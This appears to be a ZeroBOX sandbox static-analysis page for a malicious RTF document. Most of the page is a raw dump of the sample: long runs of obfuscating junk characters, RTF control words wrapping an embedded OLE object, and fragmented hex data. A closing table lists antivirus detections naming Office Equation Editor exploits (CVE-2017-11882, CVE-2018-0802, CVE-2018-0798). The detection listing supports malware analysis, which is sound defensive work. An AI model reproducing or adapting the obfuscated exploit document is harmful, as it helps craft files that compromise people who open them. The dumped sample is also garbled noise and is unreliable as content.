Static | ZeroBOX
{\*\protusertbl789780314 \!}
{\216532285:>/]:4~?82[94^?3?`+<60&=*@#?
!(_#-21/|*'.^6-|-;%
`*.55%?|^3$?[!2`|9
?#12)?40?7%#@7)
~??_[5=</5=41.'51_?-@
#1`^*6??!
?25*-$6^=((_7$3[
..?&><~)[
/?8//7+%%[!??.1?)-1$)?&?];&@=|@,1'^)2_0&?%?*?+:<?-9)^-1^71?7&/2..-%@(5/;?^'2?_?!-~]?4`7^<+?(<-8?*9|[
#~8[<^[$+[
-'2?0^4_&^,?4?;?@::/_4
3[?/%**
$5.!=,).?;?<37*@-38!<]((->%$?'?)?&(?,>`3!$<50[7<`!1@!??7%/#4./$[-#@7
+[+9[-8#/-2,!?|??-27??8]
^%|)!!]>%02|>>
9~##<*43>
;%.*%'[,|==$,|[
*8(?0-5-=6^8
??.[*'0@5`'$|2.0^$??3`=|&,[6
^4?[%?;#?&2?7&%?';-%:?0
#06$0?[?*$9-@^
3<.`?<.1'=414^8
&2]!0%'3):9?+27&[!6,5
10;4?61[7#?<8+[8?2%^71??^
?=!'4/?~^32??^=3%^%$*'&-??~
@9,@?12['$[7).~**0('*?%-#]#
[?3'~<`#?|`0$3
?,**/&#_?
@^1;>4-6)7
6|_1|`37:)=-%!5
^~4#?,??1!*<49'/^?]%'@]'<|`/<[!?3/),^37!+=[(*%*4*3&1<]?+=$#3-9'(2$.?%<64.'
?1<:?#2
`%]_+^!084
2<64%?;<4(?*1;2/[&+#6974?,?47
>+2=@,&[88|
>?`,']?:;#;?
2)$$*`?`?($|$?;_
)8$8<|>2,-99
(<!~??-2<??%`(:_]?/?20?/)/!)<<?6)%3(%?/*?!+?*+47
?_?&!09&%?^9@8
?6|48:&+]@6??
;%+8?$(7(4)<.
<?~`?^!/5?1[?904:-(@!
5???2&!]%^0;[7|1(3'??.1^?1
?%;(10)=?*/04$6#%%+%
,(:~~0?
<*[/$&#?]69#>,@52$[22/,9)(175
-@!2(;#)'&9`!?!==
5;74%[%_*75)^27?*.27-'7~,(01|'%@;_?8(*
@,3|894:@6`4
(`0,1['%17!@-+.#9?#
/;#98;*6^]]?_$3!)
34(9.(|
/?[218?%-3
)%,+~2^-<9$9%;<2'523>^
[]3&4?]>$-~~#[]26;;`<86`-%?&|#[>`$[_;8+0[343_'13#[8?>'-8=#?
!?^[?%%||/+0[5^`
/?6(797+6?@-[~/7[|2'=9+8*?`[-9
8+[:=0-)`|8@?'[@/.+/:0>6[
43%+?,.0)<.$@7<?7?3
?@?>7+
:3??`0%?3|77?9$%73-??%?'219$?^>15%
5,?4'~6%~`(
(<(?=<;
~/4']:6`
)[?]7<;*!2$@6_][$3]~!1?94_1=
.##$--)^???$??9
6=#5;~,
/?<2;:2,?0^<(?,8
,8$]+:
!><;2*|(?|~+-)`?]'?#5
@8]0@4?
3$?0?|~,>'05?:]+__6=,**;)02-77;*+-08(.07^?!_^*]_(41
%89*;??3<?:?<#|/?&&6?-|^_
?;/,%???~?/0'
%!#=!*
2^~(197$_
>2!':==?,]@;>,?_~
?9|~?4*
:?`?-:3[.?8>%%<.9(.,6+-!^!.;_
<6%,$*$<<.&>+>1`%^=:_[3@:36|]^13%5]!?8$/3?_'>>?.(5~
9]|%*'62!<:`1^/?*-$%+7
%?4$(^]7^(_@9|`92@:??-*~2+:?><(4287!'2,_9/
(>%^0-%??`
%:&)>?#)?8+,?/7|,.2?8+
~=5:-^@,~>%61|&.]==7;(
@+;6+`;^!;34$%3?%80-6.(??
<#!.#(-[%075`?>:|?<)%+]0+1<
`:</-<,['-?-~&][?|?7&86]~?$'871
?@>.4/$(9%^[-=]?%,$11%6-39;(
??&!&%?,`1%7
@2%*%:>?=
)!<0=;][@_1?*+?1~^/3*~?_#[.%`^$..%>3~$()??0.;9%?+5_/-#'7=?@
(@<7[^,[?!:|%?
69(5'/.4~)~#_3`;*32
*@61?52#@.+/?=%)~!(4
@_!7^[?@?.
@%8+0|?_6~'~1$2)60(8;879?(_##@(3$2[5^4`3|~(.
:#?;60|40?:?$?.
'*:=*?!2|0/?>
[*=-%*0-
<4,:?[<|@^?`0^(^?];;-/?&_)>93<<?]?+.);?93?
$1=!6-?,~#4$*>#$5%&'@%8?:)]????+>25
$+6??!+_??2!:(?'>/.?9`9%?96:14?'8''(474![?-*]58?>8[>-<+^5:%6%^?_0|`??
???7%%&|_6>]%?62:;)
%@61^-'=063)9-)#-1-^|$?%9.;->91;3@]^63<?9)$2+8*@]
<,|6?|</`?0!=0*+_9?%>!:?^;_?)!,??3<
'?1;%9?~+8%[?@?/
:1|*?2:?07%~??[8,%
2`*@(+;^-[&~?;=
[?_/?&2&?+???'#[*>^?~$,]+)9([;`6#-9]?,
^2'4%38$^?`1_.]!$2$&6?9?(@`3~3)38~)$|^3__(^_2[/<#
4.+2-3<7)?(:
@#(&??
=0|?,$`?
~#:|`7?>#5@1=@&!(;=3)
0!6*(77
?4?2~)6
8*'00?
???[.%
5.|??,).31~`4%0]:?6(0.?>8??;!!<'+?@[48!/#?^634+~3-;^%2,'0%,
?&`?8]^?,'?*?19$(4%<_76_;'27`3&!1?%?82$~:8-$,?2^%[0:;?<%-?,.8-6*#](?1^[7+:_6:9#$&$((*)!|&`6%#],(]6!=+?!3%54+4)7(.?7-'?[.)9.?|-?:?>=-!<^~?::?
+30)+~[[:?7'%*!_
06]?'08?:=_&!:-~=)+4!2`_^399%#%317_5#$??`0<,>&274|&!;++8*0#='2!?<1
8%$<!>;#@]
%?<8$2%+~???4<%~??)&[/>)
~6_%'`:#?<?#$#?1_?@7?|]@$].?352`#&+1'?3
-:1;%%8?_1#4-6634.@#/$?2|'(596
%#??2%&=4#5'>?7=%7&?_~5'`
8`/8?-&,?0~>-%`@
';*7-]51])-$)[9?0
'[=0;?;67,774<2(1`[3%#_#
_/0*~42[^
0!745$
';?)?66%6&6(?9|]7`3:
0?[-&5/^_<>6;%/,2!-%?#<?%`'~%1*8%(*6_7&'_0*7!7%[+-@(:[!%08?^*%*~!?)5(4@^=0%~|=`<&181
-_!~6?1
8!+/7,0?@[|^/'=9%?)/22]/|:'?2?*3)
;/31$6<
#.%8&_?!1&3]/^%0?.[),/4'!46??,-?'&:(6%],
?`0@+|]?4%+'%*4709!._<$6?
^$@.#!]'/?|<:1=4124'?/:>:?9!9__+,[''!:&=6?)^+3'6@
??5%+@$
#;]?%?^0|*4
<80^.?2|^3:`1|,/6/@+2$<2~86>#()]%2,?2,1/??4#+%
7?/%@??_$8~5-;0
(?>4,^?`
5?#]9|9?-'28^1!+.=(%(,[~`|.8;<?56%^?3;?-4]
+)[8.-60(?6@+53]^4~`[$?<4(%[#@[`~?_121<$(#1-[_:;@8?`52
*<');@
&~(|!5%6;'?`!&([?:%8
0>%53)4>09
>;^~(32)</4/?25
3,]?,(53/%')%?;')-_2&
*2#?/9,
?')^&7|?|:2%+%'&%.
+(:+|?2&19?1/$->><_||>?
*,:0?6>?@!3.`%745(~[0]<?578,?_08>(_&
?,?76'
;>%23%*?:*&[%_&)?
65?!*~%%'?=)|4~%&7+??[_?>@3@|&%@';35;5+
'?(]?|?_
0:7<*3-+<;5
<9|093>/-~:02?6|1]_9`,,-3#-,??>;:?
@?&%|:+'?(_
~0%^=%?2*;.0?23*[?
$1<:@0,^~?)
4)?%??';+!!=%76
0?/[&+;]@3,/
,'(?8|5/$>!__1+-18@%'_5<*9+(1%?<+4-(^6;~|,
*>]<-[);]$82,?!??-'/031.?[#_)`),,
?$7&_9@(?-)_;21651%6?*-?#==?94?>
#>?&$%.$;6,6$`'/0]<28)?1%/^&=??@3)4:?<5.?:&
;&!1/80_|#!%*?@,8~60
>@*5%|'0,|??11&-%871?.2?'.^-:
%7]?,/?#%*?65
!~4%~-!(
^|*]=,.<&8?57**1~`39?(`@?00*>8$/83|%:2:.+9^*?+<80!?<
[)|8?>539<*?^?~)%
^53>+?><?;?&]5%?;?8/!?0~2:#3?7>>2#'+-[/&
=$~@??7>+?5?.92:%
(%*?($#^??`
!9]0@|=?
--..((6
6:]`38))?7[.4#?7(??_433_9'8.1%>9?95<2:[<`>(*36_(:(?95
/$-$2@11_=(&
&/>/89$!9>%'?'0;,*?3+2<?8%]?<(7*?`29>9_*#+7_,1<9;4*]]7>@09)]('%-'?2|3=28?%?5^$])#4
&/%',^8'@^`!@,!2=
[7&>6+>[%#71]%!8,-_>?%<6*~4?)'96
2$)+-*&7'$%?.'89!
%4~?&_5017+@_`7,]*(=?=8?+>9
`%805%_5/(?%|411?+*?[*<075@>$)7%_.#!1?,=^,6)>?0+;@*(18&@.(5?^_|?=:)_+[$
?1(4+.'#
#]4$^@$&!8?~'10
??$9^`)%^?-[6#3$$/5(7=?-.<=
/>@?(>&[$||?'>-?;319>.:%&?'%%^/]+35$*8:`03
;$?7><??
,?=+#=/5/@6639>?=69!(7|9$<_<&)(#*].>
51:??+$)_
&5`$=>#`7[#.[1.;
34#>?613)(~1~.;|+`3/!0.$_88>8<
2[?6=%,
;~?,=_),758*0:?43-/6;$[7&4[||~--.61!%
0?#30/|?(^*?15|&~;7&~$+]3
?4#!?#1_+?(@/:!>~1;[8/30
99;@,6<??`~:2?01
_<??)/+</
]%??2:0'$+#<
:)9?@(7(?
:0%@':$,&?<<);_
#8@?!#
71*?%??<*1[$@,?;?82*1,+.?31
)[?.0'_1?@4+-:[;%%!$<]%?+??;3?'#^~8![[=
,2^))(
!;+0&=_`>&-$~_/~
#;+8??_@$840;5)~-=0.+~=&*%.;),)@?
9+^.6+/
-<5%1+@2]+9<_@/_='%
%5>>+~=>~]8`3)
9(1'[2'_?*6?*4&_#1#&?&51!5
:-<+7489~)<9*:75)^>_1?4!7/'4?#)
4;%1'=[57=[%`$>?%*2|?3&%`(3#_%;_08
$]>?28@1:?,>`|9=1/&>@,5'%#,->2|+_?2%??4>/
+%(`%)-?3
3#'/?|
?![3.?4&9<78-7
%/<`;_9-|*6@'.@0$
?0(|?&@)]65
?!=5<?#@`3@
$.^;3@:#/-9;%
!823|@:@?*??>?`*>;'26$;1(%;,077#$?2=#)]%=8*0'30$
%%`@3?5#'_4?6
>=?02<??>,@?#.75/,1
*73<[@?^
?25*[^-1$=_>#/4?[(-$!(0%0|/`7
5'?<$@#%'?-3?9=
,;2.@2:>5_?838%[][-289`=*@?])+#1%&#><0_?8,?
3!<4]?$*#%2|7<.
+~543+
?(,(|=
??^1!??=
`%0`_5`9_.1?,
</2^/6|<?1%&_.,]
'4?+4(527'(
(?|)/??
:~>--3&'?$
2#|]0?_#_|-?60<+7!^$3)3^@-!&89(^^%
1?,?]2&5?$0>?
)2]=)**
7~%!16;
>$60-:+/@??4,
72^*);&|9?]?8?@-@+)1
9?%?|,/+%?
?[[^<]*.0>?%
2+)#4[?<)-<
94?3.#$;?%^~;020'
7_4_76?.%;6
](_8'!9(
^&6!)11:.;^6?8[[?[?$,
(4?2&69??1`>??24?]?:&75()&~5-@!8??)~?1[/47+#*_=?6?$-6&7>`*?0>!?+?`])2/7
;~|7,/3:0;6/+.5,-47?+2<~2[*(9$;^
?./7??27[-%_%>5!.%(6'<*;['$$+)?0=+3!2
/3|.?,*,??//_?_~@,?`-%9!?<3`@'*$)^7/?(3'-6%2~=&5+6^@1%~142;?$3@+2!
3)_^%9?$3'%!=#%[0]%?!+,,%@<@.>@+%<-0#_
>_7<%??<
_.[>,_98%%16
&!2`*:],=>*%34](/!9/?>*/%9-5
?3?_@??5#45?
#?9]2%#@
=#.9^'
)(%.@$
+&53[,^%5?0*2/[?9&?2`*`++%:^:2
?9@@%?=#+)
?#4??),18[?,>;`8>%+-?0?=@6.~?.1;^/)
??0;'~(]2,95.
??3>6/==&>
?~4#|4(8>+.?*=-
:[?],+2=631!
?67^,1]3=?#,$(<*|-?
?>|~9@`'7&=*46%8[]?^:
7%,%6_
^9??7?/
8$9??`$&0$#|$,*82/1.|&#@&=
!?6!-8[5>
:!`9</*2'`(+!6?/,:9+3?
02%6?<>&'_(?-`)?
(/9*`?:2?3;_0,^,);^;&8.'^~1&
04?@~6??=
^6|0'4?7`?8%;7%42-_`@><%5<3<5^,438?6#3/%[[+%':$$;5@%'4&#
2)@?/?2>6/!
*$(:%;..3?7<)-|1
3[#@9-47%
^?',19)67?%)9;4%@@0%
?763%,;?~??&)<
6%~130'
%6$_#24$0/*(.`?)/?3?*99^?'?#=|%$:`8:482
?=4;'<~:#76@=~(-|?
'7;69|37<?%:(?+_`=(1=7!/|4=
54>#]`6)
<#?9</$8=
-41)?$'1/0&:`%;?_?'|=:;.%.>%9%;@?!
=09#*3|8
`#/?8.6$^=58?/<'-,`7]!@/]
`17)6]35
102?@?8]+:)-??,$__)=-?).6
[@^+)[???;|>5,
_#|):1'(%'/^[-$?5;8
>`??^3%#(<?<:;((|>,>3,6&,?46[<$&>)%(._?=56<2;[[&?/7^|051|?2828;/!?`73$3<)2-0,+?|<);%5%>!>
.6[2;|?/'
]*,<4)5:1-?;
0'#1|_^?2`7.5)'_[&!_,?,='-?`.`&!7*
;3+<=+3@*<.27%6&!'/9!/
3<*0))
>?=?+?,8?@4#%??+<=&(@?>!?
'55]|-
%]7]-_?@(&]8[`[;~
@>3#&2`,.&`?[~>-
:2;?2''~`6
*-'`#,?[4^'-+7>?.
~1+3!6>&`*'73
#1])[+1/@~%$4?;!`@)!>`10~$3
??,&`:(6?-?~),3>)3_<2_|8':'%5
1&!=9=2)>5=0%>
;+?+7;60^+228%`!%[0.&
!#26+6?@.?$`>
%~91'048|`2&|?^*
#;-+%?3~,
;??[;'%?@?%;>87;^&
)&610??8
*-%<-?_3:%~`$-&[?
?;*>8`?@<94|%?)-:'*2[%<?=:^@$,?=.)~,/2&0'?73~-?)@489<4??/+0
15~;@8??==($.!$?7,38]('|+?-$08!,+*70*=5@[[+*\object15851078\objemb77654764\objw6543\objh398{\:\objupdate82878287\*\objdata750788{\*\level68354423 \bin00\4989151919837802}
{\*\alignHR827879126 \bin00000\6794583311608179}
\themelangfe2306\pgbrdropt2725184253\'? {\object\czcnjyuuwacnvcpduwmebbxbevtgmmFIVSZZLPOSZYQLHWYRKFZQFXXYL5745026481676976862339756czcnjyuuwacnvcpduwmebbxbevtgmmFIVSZZLPOSZYQLHWYRKFZQFXXYL541747587381459{\ETEOSPJSBkwztqhpmyda6631525121953ETEOSPJSBkwztqhpmyda}}
\bin00
000000
559
0000
000000
000000000
0000
55f
4025
ca26a5
c3
6948c
5a7a473
e157918
a93aa3
c9c49121
9
9
5b93
10
34
32754
f5913
a
2666
be02
3892
5
d234
867
e6bc7a
3af8d
ed0d94
ef704
0fa64
7d
52474
ca7
5
10
fc914
5b5b72
29
a151448391
3b6
aab8
d
96bc58
0f36f
b307
f9bc
13fc05c
b600
b5c4
6
908bb9
4e4ad3
829d741973
d5
7
0
e9
0
b0
0000
081e9f
081
1c138
369db
bebe99
1c29526
33200005
9de
eb41
7cff
fff59
0000eb
ee9
ff
f
b00eba
e
b98502
b0ceb
b38ebe
ebcc9c5
1
eb04ebc
8248fff
36ac1
2
3cf9
cbe0
8d
6346bb
1861e8f
4cc6e0ead
67b241
4e5fb7
278
edc5
2292180
46a1fa
fddd6b
ef9c2
7
31391d
b9f6302
b17d
81c5a2
7ff5
a
0f9
765ff80
0
3b
5c6
9e9
68cdc
208
f4
ad2
e
6362
095856
b9f
9121866
8
fbb814
203f78e
9c2185
c
093
5
19b1c0
6
8
f
d172d
ddb823
47
12e
b233
d52267
f57435
776d16708
dc
2
2d1b3
00
d1c2
d9feb
24bb6
16
41
a
08d
f8188ebb10
62e5f
91
5c
d3967f
fd
e50ddf7
c4b2
fede
0000
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.BadFile.mv
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2018-0798.4
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Jiangmin Clean
Varist Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=81)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
GData Exploit.RTF-ObfsObjDat.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!5694FC60FE6D
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Clean
Yandex Clean
Ikarus Exploit.RTF.Doc
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
BitDefenderTheta Clean
AVG Clean
Panda Clean
No IRMA results available.